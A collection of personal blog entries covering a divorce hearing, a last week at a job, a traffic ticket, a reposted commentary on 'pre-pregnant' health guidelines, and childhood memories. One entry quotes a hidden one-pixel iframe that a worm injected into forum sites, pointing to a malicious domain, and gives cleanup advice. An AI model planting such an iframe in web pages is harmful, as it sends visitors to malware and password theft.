The divorce hearing took maybe 20 minutes. “Master Constantinedes” conducted the hearing and recorded it for prosterity. I don’t know if the recording goes to the judge or not, I imagine it does. But he will be submitting the paperwork to him, which should sit for about 10 days, and then in 10-30 days I should receive the “Golden Seal” from the judge, where I will then be divorced and my main name returned.

And here I thought it would take like 6 months and an actual court hearing or something like that. So it’s actually quite simple, and using Legal Zoom for the divorce papers was easy and painless, so no need for a lawyer.

The “Master” mostly asked us questions about when we separated, when we started living together, if it was uncontested, etc. Then he asked my father the same questions, and Alex didn’t actually have to do or say anything hardly. He didn’t even have to raise his hand and make an oath, but my father and I did.

I denied alimony. I don’t like the concept of alimony. I see no point in why a guy has to make payments for the well-being of his ex-wife, if she has a full-time job just the same as him. I like to be independant, and I see no reason to ruin another persons paycheck for more money. I can stand on my own two feet.

The attorney’s office was actually interesting. It was down a long hallway in some old building off of Main Street in Westminster. Once inside, it was extremely small, a waiting room and his office, and what looked like a bathroom. He had classical music playing, so it felt like I was in some regal rich hotel and should be smoking a cigar and drinking a glass of brandy or something. He had a lot of sea paintings on the wall, and the official seal of Maryland, which I’ve actually never seen before.

If only all divorces were so easy

It may all seem small, but today has been one of the most entertaining days I’ve had here at Terminix.

It’s been slow in the office anyway, but we found a blue rubber bouncy ball, and played catch in the long hallway for about an hour.

When the boss came in, the 5 of us that were in the office at the time turned the lights out and hid under our desks to see if he would think we all left.

Then everyone surprised me with a card and strawberry cheesecakes (plural).

Then I got hugs and well-wishes and told that if I ever wanted to come back, I could.

So more mixed feelings, but I have to keep in mind the reason I decided to leave, and that the new job is a better opportunity for me, and a brand new path.

Time to be slightly cynnical. If you’re easily offended, then don’t read.

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I got a ticket/warning yesterday for not wearing my seatbelt. I should have known better, because I had already been warned that on Pennsylvania Ave in Westminster, a mob of cops had been randomly hanging by those digital speedometer signs to catch people when they slow down that don’t have their seatbelt on. But I had -just- pulled out of the work parking lot, so didn’t think to put it on yet.

Figures. Granted it’s only $25, but heck that’s a week worth of gas these days.

When I came home, it was so beautiful out, I decided to take My Son outside and sit with me on the tree swing in front of the house. But as soon as I opened the door, he bolted after a chipmunk and almost ripped my arm off with him. Now I have a nice red ring around my wrist. Him and his nice chipmunk obsession and pittbull strength.

3 more days and then no more Terminix. Today is actually my last full day, and then I work two half days tomorrow and Saturday. My co-worker is giving me a sick day next week, and then I’ll be using up 2 vacation days to finish out the payperiod for a full paycheck.

I’m extremely nervous about the new job, so much that I haven’t slept well in the last 4 days. Worrying about whether I’ll be good enough, whether they’ll like my work, etc. Everyone is assuring me that if they didn’t like my work, they wouldn’t hire me, and that what I don’t know, I can easily learn. But it still hangs on the back of my mind.

I know I’ll work hard for them and practically do whatever they want me to, but I still can’t help but worry about being unemployed and trying to take care of my father. I suppose I always have Terminix to fall back on, but I don’t want to go back there again.

I don’t have any plans this weekend. As far as I know, none of my friends are having a cookout this year, unlike last year. So I will probably spend the time at home, catching up on projects. Sounds kinda sad, but I should really use the time for something productive and conserve the money.

Originally posted here.

CONGRATULATIONS!

You’re pre-pregnant! At least, you are if you’re female and menstruating.

New federal guidelines ask all females capable of conceiving a baby to treat themselves — and to be treated by the health care system — as pre-pregnant, regardless of whether they plan to get pregnant anytime soon.

This means that the federal government is urging all women to stop drinking, smoking, and working in hazardous conditions because they might get pregnant and those activities are hazardous to fetuses. Women are also to be encouraged to control their weights and chronic illnesses, not for their own sake, but for the sake of any potential fetuses they might be harboring.

The theory is that, since half of all pregnancies are unplanned, the rise in infant mortality, the first in decades, we saw in 2002 was due to women’s not taking adequate care of themselves. So now women are being blamed for the rise in infant mortality, and higher rates compared to other civilized countries. Of course, blame the women. We couldn’t possibly examine concrete differences in our public policies towards health care and women’s reproductive education as compared to other First World nations. No, then we might be forced to admit that those nations have public health care that allow women regular preventative health care and screenings. We might have to acknowledge that we’ve taken scientific and factual information about women’s reproductive health away and replaced it with special-interest-driven pseudo-science and morality judgments.

So it doesn’t matter if you’re celibate, gay, child-free by choice, or actively trying to conceive, if you’re in the US, and you’re female, you may be considered ‘pre pregnant’ by your doctor and may be treated accordingly. Remember, ladies, don’t get healthy for yourself, do it for the babies. Have you had your folic acid today?

And from the comments:
joiedecombat: That really kind of makes me want to have myself sterilized out of pure spite.
Or, you know, punch somebody in the face.
persephoneflame: Oh, you won’t find a doctor to do that surgery, since you don’t have kids yet and since you’re not partnered. In many states, spousal permission is required for women to seek sterilization procedures, and if no spouse exists, she has to wait until she has one.
In practice, this basically means that most doctors will gently steer you away from any talks of a hysterectomy or tubal before you’re 40 or so.

and:
annwyd: Wow, now women don’t even have to have a baby inside them to be considered more important as baby factories than as actual people! What progress!

and:
srain: Because it’s of supreme medical importance that men be able to have erections, but it’s irrelevant for women to have access to birth control.
persephoneflame: No, no, no. It’s damaging for women to have access to birth control. It promotes promiscuity and sexual devience.

So the worm that has been infecting the Grove’s website and my gaming website (but has yet to hit my journal thankfully) is this:

iframe width=1 height=1 src=http://step57.info/traff/index2.php
style=border: 0

Essentially what this worm/virus/whatever does is imbeds an iframe into your site which forces people to go to the link above, and make your anti-virus go haywire. Mine always catches it so I don’t exactly know what it attempts to download, I just know it’s a pain.

I went to check out step57.info and discovered it’s a Russian site. I went to Babelfish to decipher it, and it appears they run various scripts to retrieve passwords and such.

While doing a google search for step57.info and other people that have had problems with it, I noticed that most if not all of the issues that people have had with the same worm, are people who have installed forum software. Not just invisionboard, which is what I always use, but phpBB and a few others as well.

When it has infected any of my invisionboards, the easy fix was to open up the conf_global.php file (or any boards config file) and you’d find the code at the bottom, which you just delete an reupload. However the worm also tends to infiltrate a bunch of other files on the site as well, and apparently has the ability to change the CHMOD permissions to 666.

The only way to really get by this worm that I’ve discovered, is to first check -all- files on your server. Make sure all folders are CHMOD to 755, and all files are CHMOD to 644. This will prevent global settings being set on forums (which you can just temporarily CHMOD to 666 to make your global setting changes, and then make sure you CHMOD it back to 644), and will also prevent people from doing layout changes through wordpress.

This of course means that people will have to resort to using good ole FTP for layout changes. I’m sorry to say there isn’t a way around it, it’s the absolute safest route. Even if you were able to figure out a way to stop this worm from attacking your files, there will be others that use the same route.

Actually this is why I like combining Movable Type and Wordpress for my sites. One advantage that Movable Type has over Wordpress is the fact that it rebuilds files. While some people (including myself) think this is a detriment, it will also allow you to fix several pages all at once, rather than going into them individually like in Wordpress. All of my content for my Advent and Grove site is kept in Movable Type just for that purpose, easy fixes.

Now if you use wordpress or any other mySQL driven software for your blog/journal and archives, your best bet for going through all of the files individually is to download EditPad. It’s an advanced version of Notepad, that allows you to use tabs and open up multiple files at once. If you open up all the files at once in Editpad, you can do a search for step57 in all open documents and even replace them all at once instead of individually. This comes in handy when (like they’ve done to me) they get into multiple Wordpress files.

Incidentally if anyone needs the Editpad program, let me know. It’s useful for a lot of things, and what I use to design all of my sites by hand.

Now I also looked up the whois information for the step57.info domain and am posting it for my own resource later on:

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Random memories of my sister.

When she was first learning to walk, she used to love watching the music video for “You don’t know how it feels” by Tom Petty. So much that if she was in the kitchen, and I turned it on in the living room, she would run into the room and just stand there swaying from side to side completely mesmerized by the video. It was the cutest thing. Probably the same age as she was in this video when I was about 15.

One of my favorite memories of my sister, is from when I was I think a senior in highschool, and I took this photography class. We had to do different types of pictures with the sun in front of us, the sun behind us, action photos, etc. And my favorite subjects to take pictures of were my father, and my sister. And one time I was in the backyard of my mothers house, and taking pictures of Sister playing with flowers and such, and I had to take a picture of the sun behind me. But when I did, I guess it was so bright, that my sister had her hands over her eyes and said “But sissy, I can’t see you!” Was very cute, and I got a picture of it.